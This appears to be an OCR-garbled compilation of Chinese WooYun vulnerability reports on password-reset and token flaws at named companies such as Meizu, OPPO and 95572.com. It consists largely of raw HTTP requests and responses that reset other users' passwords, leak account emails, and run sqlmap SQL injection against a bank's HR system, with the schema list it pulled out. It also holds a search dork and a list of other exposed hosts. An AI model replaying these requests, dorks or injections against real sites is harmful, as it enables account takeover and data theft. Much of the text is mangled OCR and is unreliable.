186071¢ 5 2015-10-29 14:48:38 FHREE 81 FS1. BELEMTESMTEMNT. BREFREEABE!
1310000 5 2015-10-29 14:49:43 FOREE 72, BS1c SELEATSUTEMNT. FREFREEABE!
1399718 5 2015-10-20 14:49:47 SHERAS  IESHTEERTRARY, B TIR62367031000000382, FEAFTAM LI AT
1310000 5 2015-10-29 14:50:15 FOWEE 72 BS 1o SEEMEESMTEMNT. FREFREEASE!
1399718 5 2015-10-29 14:51:49 FHWER 75 FE1o SEEMRESMTEENT. FREFREEASE!
1310000 5 2015-10-20 1452:41 FHWER 2. FE 1o BEEERETSMTEMNT. FRERREEASE!
1869711 5 2015-10-29 14:58:20 FHWEAT 6. FE1o BEERRESRTEMRT. FRERREEASE!
186971 5 2015-10-29 15:03:10 FHWEAT 6. FE1o BEERRESRTEMRT. FRERREEASE!
131000 5 2015-10-29 15:03:15 FHWERT 8. FE1o BEEERESRTEMRT. FRERREEASE!
186971 5 5 2015-10-29 15:04:12 FHIEEH 3: FFE20 WET EATSHRITERIRT FREFREE ABRE!
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Wl SRR

Sy i8R R

TR L -

HB#E token

izt KR A R

(CIETeliv/ PN /N
BRI IR AT BLE ) B IE (S B

prik e R R B R
http://www. idtag. cn/regionTempAction. do?method=toForwardFindPasswordStyle
i F B8R BRI Y J5 . 2 k3% —FHIB -3 hiAE.
HISAE A5 20 T R
http://www. idtag. cn/regionTempAction. do?method=resetPassword&idtagCard=f /" ID
{H&authcode=Go8K7yp4TWy&rtEmai 1= F8 Hhk
NIRRT A= Ak T
By BB D JE R AT AL,

(1 —> .

RECEIVETIME BEGINTIMEWIND
TIMESTAMP TIMESTAMP

2015-10-27 14:42:61
2015-10-27 144450
2015-10-27 14:46:10
2015-10-27 14:47:35
2015-10-27 14:47:53
2015-10-27 14:48:38
2015-10-27 14:49:43
2015-10-27 144947
2015-10-27 14:50:15
2015-10-27 14:51:49
2015-10-27 14:52:41
2015-10-27 14:58:20
2015-10-27 15:03:10
2015-10-27 15:03:15

20130 WAMBOYUN.Or g
;



REUTHE

org. apache. struts. taglib. html. TOKEN=83accc27d5178£832d9f22ald02bdacf&org. apache
.struts. taglib. html. TOKEN=83accc27d5178f

IR TOKEN. . . EZAKIR T LEEABSUH 1D AT IR %Y. .
RBEEES T — MR DR EREWTER

<div class="ad_right">
<div class="weizhi_ad" > {REHEIFATELS : R2h &gt EEER &gty <font>FHH </font> </div>
<div class="anquan_ico" > FH3EEZER < /div>
<div class="admin_bo">
<div class="yanzh_tsh">
<p class="yanzh_tsh01">#& | BEEEMWH ! </p>
<p>ZERESEY | RAZENETNIERTAE, </p>
<p><span id="textSecond"> </span>¥#¥</p>
<div class="zhucechg04"><a href="/login.jsp" target="_self" >z RINEFIER R E </a> </div>
</div>
</div>

</div> www.wooyun.org
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c. HEBEIY token

FWl: BEERIK S RGN AR P S EUE R RS EE

H 00 S TN T A B AR TR PR SR UE AN R

HHE X B, R I 0 R
https://member. meizu. com/forgetpwd

2. R EHATHR ERI R A THREREER (L, 732 AR I UERS, IR UER IR 75 IR A Y,
DU RIS PR AT B B A i 1Y), X B BHIRE 1 3% T ORIRATE A
FALWAERD :



POST https://member. meizu. com/uc/system/vcode/sendEmailVcode HTTP/1. 1

Host: member. meizu. com

Connection: keep—alive

Content-Length: 64

Accept: application/json, text/javascript, */%; g=0.01

Origin: https://member. meizu. com

X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/31. 0. 1650. 63 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/x—www—form—urlencoded

Referer:

https://member. meizu. com/uc/system/web jsp/forgetpwd/toMail?account=xX X X X X X
XXX XXX

Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh—CN, zh;q=0. 8

Cookie:
 fepwdtk=AXTK4CKEUfVC CINDGumKyOL6r 8-5kM30RskFNFu0jRX8Z-WKSowkbelMkEq6uNUEqtX9
fxR9wgFq9b00E173xsAVRurOfKThdE JiZEEeQOELOzCuIMJ Im9YMpMQhdcQT8xwDBBRtV7z08WGayOK
vOH]J szxDvS3s0F0Zdx9-QM*x7MF—nQFGe jtSDNY Je jrx0kDzzkQ5FE3WbW00o7UoY JwhGNswWeGpzgQCF
bdxcT rLeVU4 1 MIS2¢8C NpSiowUz7LMNB3RGHmmu3InK7R9qAfPpI4Cb5hMh5Yng13Vv11y46d4L
W-AaGqon48D06CA; JSESSIONID=mllira64bg3rb4n5uboiloln46m
email=glzjin%40zhaojin97. cn&vCodeTypeValue=8&account=X X X X X X X X X X X X

B UE SO IEAS 2 75 I -

POST https://member. meizu. com/uc/system/vcode/isValidEmailVCodeForForgetPwd
HITP/1. 1

Host: member. meizu. com

Connection: keep—alive

Content—Length: 77

Accept: application/json, text/javascript, */*; g=0.01

Origin: https://member. meizu. com

X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/31. 0. 1650. 63 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/x—www—form-urlencoded

Referer:

https://member. meizu. com/uc/system/webjsp/forgetpwd/toMail?account=X X X X X X
XXX XX

Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh—CN, zh;q=0.8

Cookie:

~ fepwdtk=AXTKACKEUfVC CINDGumKyOL6r 8-5kM30RskFNFuO jRX8Z-WKSowkbeIMkEq6uNUEqtX9



fxR9wgFq9b0oE173xsAVRurOfKThdE]JiZEEeQOELOzCuIMJ Im9YMpMQhdcQT8xwDBBRtV7z08WGayOK
vOHJszxDvS3sO0F0Zdx9-QM*x7TMF—nQFGe jtSDNY Je jrx0kDzzkQ5FE3WbW0o 7UoY JwhGNswWeGpzqQCF
bdxcT rLeVU4 1 MIS2¢8C NpSiowUz7LMNB3RGEmmu3 InK7R9gAfPpI14Chb5hMh5Ynq13Vv11y46d4L
W-AaGqon48DO6CA; JSESSIONID=mllira64bg3rb4n5u6oilolnd6bm

account=X X X X X X X X X X X&vCodeTypeValue=8&email=glz jin%40zhaojin97. cn&vco
de=707054

BRI

POST https://member. meizu. com/security/resubmit/token/get HTTP/1. 1

Host: member. meizu. com

Connection: keep—alive

Content-Length: 0

Accept: application/json, text/javascript, */*; g=0.01

Origin: https://member. meizu. com

X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/31. 0. 1650. 63 Safari/537.36 SE 2.X MetaSr 1.0

Referer:

https://member. meizu. com/uc/system/web jsp/forgetpwd/toResetPwd?account=X X X X
XXX XX XX

Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh—CN, zh;q=0.8

Cookie: JSESSIONID=mllira64bg3rb4nbu6oiloln46m;
_fegpwdtk=PUF6F7bafqhWDa7pLRN-9G8pLVKkM-Z0Bb41WiGtpuE7mpSGuCe0xE1Xw00591x2M35TSAU
SglDa27 jDCKav3 hBcJObQo4580cuHuVwInYOxsLJzyqRR5TuogqmfOcEYGOTs tMaLoTDO141gMOf3ep
smhd jWMBKQCaZscRQa0xfs*7MF—nQFGc jtSDNY Je jrxOkDzzkQ5FE3WbW0o7UoY Jw4An6yE21ipq2dz—C
tbX82V j00ad4x92et5f9vMdPm4hHI8 jUZhu jmD1YhvTHdQwnP583TuC0 1bQ23F Jm0i5vQhRky9fCcO
moGahkWAVT1 MXA

£ E

POST https://member. meizu. com/uc/system/web jsp/forgetpwd/resetPwd HTTP/1. 1
Host: member. meizu. com

Connection: keep—alive

Content—Length: 125

Accept: application/json, text/javascript, */*; g=0.01

Origin: https://member. meizu. com

X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/31. 0. 1650. 63 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/x—www—form-urlencoded

Referer:

https://member. meizu. com/uc/system/webjsp/forgetpwd/toResetPwd?account=X X X X



XXX X XXX

Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh—CN, zh:q=0. 8

Cookie:
_fgpwdtk=PUF6F7bafqhWDa7pLRN-9G8pLVkM-Z0Bb41WiGtpuE7mpSGuCe0xE1Xw00591x2M35TSAU
SglDa2Z jDCKav3 hBcJObQo4580cuHuVwInYOxsL JzyqRR5TuoqmfOcEYGOTs tMaLoTDO14IgMOf3ep
smhd jWMBKQCaZ scRQa0x f's*7MF—nQFGce jtSDNY Je jrx0kDzzkQ5FE3WbW0o7UoY Jw4n6yE2ipq2dz—C
tbX82V j00ad4x92et5f9vMdPm4hHI8 jUZhu jmD1YhvTHdQwnP5831uC0 1bQ23F Jm0i5vQhRky9fCcO
moGahkWAVT1 MXA; JSESSIONID=mllira64bg3rb4n5u6oiloln46m

form resubmit token key=KHOO1SONAMJEOHFNWTS2WNBTKDP57QVL&account=>X X X X X X X
X X X X&resetPassword=laofuck&repeatPassword=laofuck

OK, #5547, Tisha KM R

L 1 SR 3A HARIK 5 & A A LANCE K-S (72T HLUARR il IR i At 50 VEFRAE A B K-SRl 180
130X X X X X X X X

2. FFERBATEAIRANK S BT, PRJF XK S HEE %, BERXAS U

3. XA ERATT R BIPUAACE, H% COOKIE T Hik

Cookie: Hm 1vt 2a0c04774115b182994cfcacf4c122e9=1412300296;
Hm Ipvt 2a0c04774115b182994cfcactf4c122e9=1412300296; ga=GAl. 2. 1012289249. 1412

KB BRI B

JSESSIONID=m2cpjjkteivjxrlo9d646pcjggs;

_fepwdtk=TuqfrXg2 z8GS2MV_eygPBPmCIph jbe IXUNO1pH]Jz9z7ZGJkpRVdAulU7C95ufFwA9ce74hsT
csVI5aFdPKFXybfuBLnMQhZexixy2DxKvHOV I fwUeNTMVG3B3WZY{U1zbUZQPCV8ail.EhbyknycRLk2
WbZMHKBL _x8Kz910b pTcg*LKCpR—u2ekV3g8T9J7RVH6boDmDf gHX1mOAEgJGgrAOiU4TVs jo—XvT
2pEJIPECIR-801nDsOkVL17q97zXn6COHkxUhP erM2SGT JTck81i01S2tpXnVanKPIxL1uTCdqikOLt
tUUwwUCEPKria—IgOmWTbbTgWiolnJedESMI

4. FEH AT AR RN, JRA B e de 5 Bk %

POST https://member. meizu. com/uc/system/vcode/sendEmailVcode HTTP/1. 1

Host: member. meizu. com

Connection: keep—alive

Content—Length: 64

Accept: application/json, text/javascript, */%; q=0.01

Origin: https://member. meizu. com

X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/31. 0. 1650. 63 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/x—www—form-urlencoded

Referer:



https://member. meizu. com/uc/system/webjsp/forgetpwd/toMail?account=15977441670
Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh—CN, zh:q=0. 8

Cookie: JSESSIONID=m2cpjjkteivjxrlo9d646pcjgqs;

_fgpwdtk=TuqfrXg2 z8GS2MV_eygPBPmCIph jbe IXUNO1pH]Jz92ZGJkpRVduU7CI5ufFwA9ce74hsT
csVI5aFdPKFXybfuBLnMQhZexixy2DxKvHOv I fwUeNTMVG3B3WZYfU1zbUZQPCV8ail.EhbyknycRLk2
WbZMHKBL x8Kz9i0b_pTcg*LKCpR-u2ekV3g8T9J7RVHO6boDmDf gHX1mOAEgJGgrA0iU4TVs jo—XvT
2pEJIPECIR-80FnDsOkVL17q97ZzXn6COHkxUhP_erM2SGT JTck8101S2tpXnVgnKPIxL1uTCdqikOLt
tUUwwUCEPKria—IgOmWTbbTgWiolnJedESMI

email=glzjin%40126. com&vCodeTypeValue=8&account=130 ¢skskkksioksk

EE, HIXEEHZ COOKIE UK NI k-5 AR E, dEFE IR ZH £ A i
SRR, BURIEH E I

5. SR JE BRATTIT IR AR S R 7 X B AR T

130X X X X X X X, f&lf.

JEUH A8 Flyme IRSS .

IS IEAEHEAT Flyme $RBIERDHEAE, 5L 30 208 AWK HLEGTERD: 991344 i NIGTERD 4oy AAE,
PLSE FEIE o

RS

Flyme TiHZH

8 T RS ERS T, BATI4k ST

6. RJGIX B, ARG — F2E1IEM, FFERC(E B #: COOKIE AlfE 8
IS B6 RS A2 75 IR -

POST https://member. meizu. com/uc/system/vcode/isValidEmailVCodeForForgetPwd
HITP/1. 1

Host: member. meizu. com

Connection: keep—alive

Content—Length: 77

Accept: application/json, text/javascript, */*; g=0.01

Origin: https://member. meizu. com

X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/31. 0. 1650. 63 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/x—www—form-urlencoded

Referer:

https://member. meizu. com/uc/system/webjsp/forgetpwd/toMail?account=X X X X X X
XXX XX

Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh—CN, zh;q=0.8

Cookie: JSESSIONID=mZ2cpjjkteivjxrlo9d646pcjgqs;

~fegpwdtk=TuqfrXg2 z8GS2MV eygPBPmCIph jbeIXUNO1pHJz92zZGJkpRVduU7C95ufFwA9ce74hsT



csVI5aFdPKFXybfuBLnMQhZexixy2DxKvHOvIfwUeNTMVG3B3WZYfU1zbUZQPCV8ailEh5yknycRLk2
WbZMHKBL x8Kz9i0b_pTcg*LKCpR-u2ekV3g8T9J7RVH6boDmDf gHX1mOAEgJGgrA0iU4TVs jo—XvT
2pEJIPECIR-80fnDsOkVL17q97ZzXn6COHkxUhP_erM2SGTJTck8101S2tpXnVanKPIxL1uTCdgikOLt
tUUwwUCEPKria—IgOmWTbbTgWiolnJedESMI

account=130X X X X X X X X &vCodeTypeValue=8&email=glzjin%40zhaojin97. cn&vcode=
991344

REGERT IR, AR, RAIGREE

T, FATRIRICA T, GBI AR TR 4 T

POST https://member. meizu. com/security/resubmit/token/get HTTP/1. 1

Host: member. meizu. com

Connection: keep—alive

Content—Length: 0

Accept: application/json, text/javascript, */*; g=0.01

Origin: https://member. meizu. com

X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/31. 0. 1650. 63 Safari/537.36 SE 2.X MetaSr 1.0

Referer:

https://member. meizu. com/uc/system/webjsp/forgetpwd/toResetPwd?account=130X X
XXX XX

Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh—CN, zh;q=0. 8

Cookie: JSESSIONID=mZcpjjkteivjxrlo9d646pcjggs;

_fepwdtk=TuqfrXg2 z8GS2MV_eygPBPmCI9ph jbe IXUNO1pH]Jz9zZGJkpRVdAulU7C95ufFwA9ce74hsT

AR [ [ XK

{"code”:7200”, "message”:””, “redirect”:””, "value”:” JUG2VL7VKRDDZ156UZSXQ92T IOFWU
YOL”}

AT ER & value

8. 25, fohm, BATB B % AR v, A

POST https://member. meizu. com/uc/system/web jsp/forgetpwd/resetPwd HTTP/1. 1
Host: member. meizu. com

Connection: keep—alive

Content—-Length: 125

Accept: application/json, text/javascript, */%; q=0.01

Origin: https://member. meizu. com

X-Requested-With: XMLHttpRequest



User—Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/31. 0. 1650. 63 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/x—www—form—urlencoded

Referer:

https://member. meizu. com/uc/system/web jsp/forgetpwd/toResetPwd?account=130X X
XXX XX

Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh—CN, zh:q=0. 8

Cookie: JSESSIONID=m2cpjjkteivjxrlo9d646pcjgqs;

_fgpwdtk=TuqfrXg2 z8GS2MV_eygPBPmCIph jbe IXUNO1pH]Jz92ZGJkpRVduU7CI5ufFwA9ce74hsT
csVI5aFdPKFXybfuBLnMQhZexixy2DxKvHOv I fwUeNTMVG3B3WZYfU1zbUZQPCV8ail.EhbyknycRLk2
WbZMHKBL x8Kz9i0b_pTcg*LKCpR-u2ekV3g8T9J7RVHO6boDmDf gHX1mOAEgJGgrA0iU4TVs jo—XvT
2pEJIPECIR-80FnDsOkVL17q97ZzXn6COHkxUhP_erM2SGT JTck8101S2tpXnVgnKPIxL1uTCdqikOLt
tUUwwUCEPKria—IgOmWTbbTgWiolnJedESMI

form resubmit token key=JUG2VL7VKRDDZ156UZSXQ92TIOFWUYOL&account=130X X X X X

X X&resetPassword=xibaxiba&repeatPassword=xibaxiba
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¥-Recuested-Vith: XMLHttpRedquest
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64: rv:35.0) Gecko/20100101 Firefox/35.0
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https://account. oppo. com/index. php?q=user/confirmid&type=1&sign=e9£b209c9416£b0
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ARBUGAERS-BECE A — DI IR, $RAZHIARIIN X response £k
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HTTP/1. 1 200 OK

Server: nginx

Date: Mon, 28 Jul 2014 04:15:39 GMT
Content-Type: text/html;charset=utf-8

Connection: keep—alive



Vary: Accept—Encoding

X-Powered-By: Zandy/1.0

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Mon, 28 Jul 2014 04:15:38 GMT
Cache—Control: no—store, no—cache, must-revalidate
Cache—Control: post—check=0, pre—check=0

Pragma: no—cache

X=Server—ID: web106

Content-Length: 56

{"flag”:—4, "msg”: "\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e”}

BN

{"flag”:1, "msg”:”?g=user\/resetPass&username=&type=1&sign=e9fb209c9416£b0312980
c47c¢4537f0b”}

HTTP/Ll.1 200 OK

Server: nginx

Date: Mon, 28 Jul 2014 04:15:39 GMT
Content-Type: text/html;charset=utf-8
Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: Zandy/l.0

Expires: Mon, Z€& Jul 1897 05:00:00 GMT
Last-Modified: Mon, 28 Jul 2014 04:15:38 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache

X-Server-ID: webl0Eé

Content-Length: 5€

(“flaq":1,“msg“:"?q=user\/resetPass&username=&type=1&sign4e9fb20909416fh0312980c47c4537f0h"}
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§P0ST /sysadmin/htm/index. php?q=user/checkaccount HITP/1. 1
x-requested-with: XMLHttpRequest

Accept-Language: zh-cn

Referer:

http://account. oppo. com/sysadmin/htm/index. php?q=user/getb
Accept: /%

M A ¥R o BI48 Content-Type: application/x-www-form-urlencoded
TSR EECNER, ERBRBIETRE. B :

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/1.0 (compatible; MSIE 8.0; Windows NT
/ Host: account. oppo.com

Content-Length: 15

ZRHE OPPO# X Proxy-Connection: Keep-Alive

Pragma: no—cache

Cookie: PHPSESSID=m8teivf2qoapf25n5fd3dickbl; __utma=17123
__utmz=171233918. 13633516417. 3. 3. utmcsr=account. oppo. com|ut:
php: OPPO_UNIVERSAL=68a3e669fef5f9e25d60bfb280887d11; __ut:
__utme=171233918; login=1: __utma=110756511.2121015309. 136
__utmz=110756511. 1363855900. 3. 3. utmcsr=oppo. com|utmcen= (re
__utmb=110756511. 6. 10. 1363855900 __utme=110756511

s

useracc=0PPOXE T%A1¥BEXES%SCXBAL smsact:g\%mswooyu n.org

AR [5G o

HITP/1.1 200 OK

Server: nginx

Date: Thu, 21 Mar 2013 08:57:30 GMT
Content-Type: text/html;charset=utf-8
Connection: keep—alive

Vary: Accept-Encoding

X-Powered-By: Zandy/1.0

Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Thu, 21 Mar 2013 08:57:30 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache

X-Server-ID: webl06

Content-Length: 116

{"acctype”: 07, "userid”: "6690531", “username”: "OPPO#L[X", “email”: "lixiaolin@oppo.com, “mobile”:
o Loy

, “mibao”

WWW.WOO0yun.org

2. B HARAH R acctype (SN 1, Zf email, &4 mobie AH A FHL 5

Server: nginx

Date: Thu, 21 Mar 2013 09:16:21 GMT

Content-Type: text/html;charset=utf-8

Connection: keep-alive

Vary: Accept-Encoding

EK-Powered-By: Zandy/1.0

Expires: Mon, 26 Jul 1997 05:00:00 GMNT
Last-Modified: Thu, 21 Mar 2013 09:16:21 GMNT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

X-Server-ID: webl06

Content-Length: 116 -
{"acctype”: "1”, "userid”: "6690531", "username”: "OPPO#L[X", "email”: “”, "mobile”:

” 1 3| , “mibaoc”: "}
§ WWW.WOO0yun.org
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““fphp: OPPO_UNIVERSAL=6823e669fef5f9225d60bfb280887d11;

-

POST /sysadmin/htm/index. php?q=user/ajaxgetbackpass HITP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: zh-cn

Referer:

http://account. oppo. com/sysadmin/htm/index. php?q=user/getbackpasstback=/sysadmin/htm/1i:
Accept: #/%

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User—-Agent: Mozilla/1.0 (compatible; MSIE 8.0:; Windows NT 5.1; Trident/4.0; GIB7.1;
Host: account. oppo. com

Content-Length: 19

Proxy-Comnection: Keep—-Alive

Pragma: no-cache

Cookie: PHPSESSID=m8teivf2qoapf25n5fd3dickbl; __utma=171233918. 1958137211. 1363250959. 1
_utmz=171233918. 1363351617. 3. 3. utmecsr=account. oppo. com|utmecen= (referral) [utmemd=refer
utmb=171233918. 11. 10. 136385587

_utme=171233918; login=1; __utma=110756511.2121045309. 1363250923. 1363317817. 136385590
_utmz=110756511. 1363855900. 3. 3. utmesr=oppo. com|utmcen= (referral) |utmemd=referral |utme

__utmb=1107565141. 6. 10. 1363855900; __utmc=110756511

B

smsact=getpassésendtype=getpassémobile=1 YHNNNNRIER t ype=1&userlame=0PPOYE T¥A1¥BEXE5%SC!

/
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a. {EIRFIZ R AAFLETE NI o
EHl: RN ITEIFEHRE (e-HR) B—4b SQL FENIFFH GBI T A
E—MNEANBHTAEERRESRA, Reeik) mAECEE T, SRR,
RIRATAHMGERRARE T, KB ..
FEAE A «
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2. WA SCAE http: //x. x. x. x/hrss/rm/ResetPwd. jsp?



& C' | ehr.creditcard.cmbc.com.cn/hrss/rm/ResetPwd.jsp?

ehr.creditcard.cmbc.com.cn EEIMTIER:
(- ORA-01756: 3|2 I HIFH SRA E LR
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RS RAMEE, RO E IR

“H P |aaa

Www.wWooyun.org

3. YL T SQLMAP HL H 4 2 44 «

./sqlmap. py —r xx.txt
{code>

POST /hrss/dorado/smartweb2. RPC. d? rpc=true HTTP/I.1

Host: 59.173. 0. 46:8090

Proxy—Connection: keep—alive

Content—Length: 582

Pragma: no—cache

Origin: http://59.173.0.46:8090

User—Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10 9 2) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/35.0.1916.153 Safari/537. 36

Content-Type: application/x—www—form-urlencoded

Accept: */*

Referer: http://59.173.0.46:8090/hrss/rm/ResetPwd. jsp?

Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh—CN, zh;q=0. 8, en;q=0. 6

Cookie: JSESSIONID=0000Dna]JYJnM5KUn8YfKWXZ jmgv: 16saulunt

_ type=updateData& viewInstanceld=nc. bs. hrss. rm. ResetPassword nc. bs. hrss. rm. Re

setPasswordViewModel& xml=<rpc transaction="10" met

SRR

[15:27:19] [INFO] the back—end DBMS is Oracle
back—end DBMS: Oracle
[15:27:19] [WARNING] schema names are going to be used on Oracle for enumeration



as the counterpart to database names on other DBMSes
[15:27:19] [INFO] fetching database (schema) names
[15:27:20] [INFO] the SQL query used returns 31 entries
[15:27:21] [INFO] retrieved: APEX 030200
[15:27:21] [INFO] retrieved: APPQOSSYS
[15:27:22] [INFO] retrieved: CTXSYS
[15:27:23] [INFO] retrieved: DBSNMP
[15:27:24] [INFO] retrieved: EFDC
[15:27:25] [INFO] retrieved: EXFSYS
[15:27:26] [INFO] retrieved: FLOWS FILES
[15:27:27] [INFO] retrieved: IUFO
[15:27:28] [INFO] retrieved: IUF057
[15:27:29] [INFO] retrieved: JQ
[15:27:30] [INFO] retrieved: MCCPT
[15:27:31] [INFO] retrieved: MCCWK
[15:27:32] [INFO] retrieved: MDSYS
[15:27:33] [INFO] retrieved: NC57
[15:27:34] [INFO] retrieved: NC57ZYWK
[15:27:35] [INFO] retrieved: NCPORTAL
[15:27:36] [INFO] retrieved: OLAPSYS
[15:27:37] [INFO] retrieved: ORDDATA
[15:27:38] [INFO] retrieved: ORDSYS
[15:27:39] [INFO] retrieved: OUTLN
[15:27:40] [INFO] retrieved: OWBSYS
[15:27:41] [INFO] retrieved: RMAN
[15:27:42] [INFO] retrieved: SCOTT
[15:27:42] [INFO] retrieved: SYS
[15:27:43] [INFO] retrieved: SYSMAN
[15:27:46] [INFO] retrieved: SYSTEM
[15:27:47] [INFO] retrieved: V3XUSER
[15:27:47] [INFO] retrieved: WMSYS
[15:27:48] [INFO] retrieved: WX
[15:27:49] [INFO] retrieved: XDB
[15:27:50] [INFO] retrieved: ZYTJWK

ER(ERIRER
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http://ehr. creditcard. cmbe. com. cn/hrss/rm/RmMain. jsp?dsName=ncmshr EAE4RAT
http://zhaopin. cnooc. com. cn/hrss/rm/school/school rmmain. jsp A7 A I
http://zhaopin. genertec. com. cn/hrss/rm/social/SocialRmMain. jsp?pacode=cde2af480
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http://ehr. hgtech. com. cn/hrss/rm/RmMain. jsp?dsName=HRDB #& T Rl
http://career. sdebank. com/hrss/rm/RmMain. jsp?dsName=sdns &R 1T
K£7T"

google KR

inurl:hrss/rm/

2.5.11  Token AR
a. Token AR #5.
Zl: KRR T —RE BT RS %1 (R IH AR 7))
BRI A REMEE T

AL EERBNE
IR A K5 fa N IR SAERD SR 59N

- o d o

ERFE . 2MO8eseL @qq.com RIRURFAEBETD

B0 .

nfd session id=hbfd s=106029956. 10411809 14230612420688htd_g=a7fcd4as5266aa7700003336019££03b54d230%a;

tme=1.106029858.7703364€. 1423061242073 . 1423061242073, 1423061242073 tma=106029958.77033646.1423061242073. 1423061242073, 1423061242073, 1
tmd=1.106029958.7703364¢€. 1423061242073, BIGipServerpool Login.tiantian.com=3580537024.20480.0000;

LoginOrRegOftiantian=c476d8e52617aBl €4déaceZefl024bd0; _ ozlvdl978=14230€1576; LoginOrRegOftiantianUser=tuser_ 4 LH
LoginOrRegOfriantianEmail=a98e73432309£1793£822ab505d0S0cE

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Ajax_CallBackType=BizControls.user.verifyUserControl&hjax_CallBackMethod=SubmitEmailCode&hjax_CallBackArgumentD=&Ajax_CallBackArgument1=841733

il il e

response

m headers m

Date: Wed, 04 Feb 2015 15:21:52 GHMT
Content-Length: 70

(value: ["Success", "1", "], ecrorinull}

KISk T A cookie MEER AR A A 12246 DART A& W1 SCHEAS
BUEAR R, 32 STINE 7478 A — B X TR IR TRIEHA aq BEFE #E4T 17— md5



T R I—F
T2 service@tiantian. com #4T mdb IN%E—k ARG B cookie fH KINIREIT HTF
RO R GRS T DR L —NRTR)

(bfd_session_id=bfd_s=106029958.10411808.14230612420684&bfd_g=a7fcddae52££aa7700003336015££03b54d230 a;
tmc=1.106029958.77033646. 1423061242073 . 1423061242073 .1423061242073; tma=106029958.7703364€.1423061242073. 1423061242073 . 1423061242073, 1;
tmd=1.10€6029558.77033€4€. 14230€1242073.; BIGipServerpool_Login.tiantian.com=3580537024.20480.0000;

LoginOrRegOftiantian=c47&dBe52€17a82E4déacelefl024bd0; _ o0zlvdlS78=14230€1576; LoginOrRegOftiantianUser=tuser_35302443f4cB8735a6€683bE4c404c204;
LoginOrRegOftiant ianEmail=aSB8e7343e309f179368e2ab805d0S0cE

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Ajax_CallBackType=BizControls.user.verifyUserControlshjax_CallBackMethod=SubmitEmailCodeg&hjax_CallBackArgumentD=g&Ajax_CallBackArgument1=841733

[ [

response .
raw | headers W

Date: Wed, 04 Feb 2015 15:22:48 GMT

Content-Length: 70 /

(value: [" L min, g /™, error:null}
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Zhl: ez Ay E B AR M & (admin B ER)

NI F] 12306 F it , T RMEEED] 1 kg iy i, w2 st AG 3, JEREE R
e 255 (R D RE -

TEYH UL :

http://www. 95572. com/ jsp/ywbl/zc. jsp

FEE MR I, RSN P 44, AR B IT G AT P 2R AR RS, HR R
EH P2 BERERN, LA NCH W4 adnin, 7€ REF ST AREHF S 258
G, BARMSTH P 4R BAAERRE, ERAJAMERZ EET, XiHE, RIT2K
MIMNTCLLL admin B &R T, i H - 34 SO RN T /TS 16D, (H
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GIREE =

T A FRAT T T LA FAZ SO P P 6 SR R R IS R I IR, L R 3k X i R AT I R DU B
P —segipl, 2T UIRES 7P PURE R, DR 1) PT RE R A FE T .

FILLE TSR (H BT [, 8 P04 3t 28 S L e AR A 4R R B (R AR, AT 4% T admin
AR, R T adnin R, HIEARE R B FILL, SURbHrERN.

) www.95572.com/jsp/grzx/grzx.jsp?ColumniD=57
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PERIRIE Q) 2mmsns : 95572
" | ERNA HPER ELTR EREBE m_ElH
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FHAMEO RS BT AME SR RS U, A8 DAY, R R DU B0
24

{form name= forml’ method= post’ action= grzx submit. jsp’  target="grsubmit”
onsubmit= return doValidate (forml)’ >
{input name= tablename’ type= hidden’ value="p cremember >
{input name=" action” type="hidden” value="update”>
{input name=" pkfield” type="hidden” value="U ID”>

{input type="hidden” name="U ID” value="admin” >...
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18899999999
http://passport. mengyou88. com/register

POST /register HTTP/1.1

Host: passport. mengyou88. com

User—Agent: Mozilla/5.0 (Windows NT 6.3: WOW64; rv:32.0) Gecko/20100101
Firefox/32.0

Accept: */*

Accept—Language: zh—cn, zh;q=0. 8, en—us;g=0. 5, en;g=0. 3

Accept—Encoding: gzip, deflate

DNT: 1

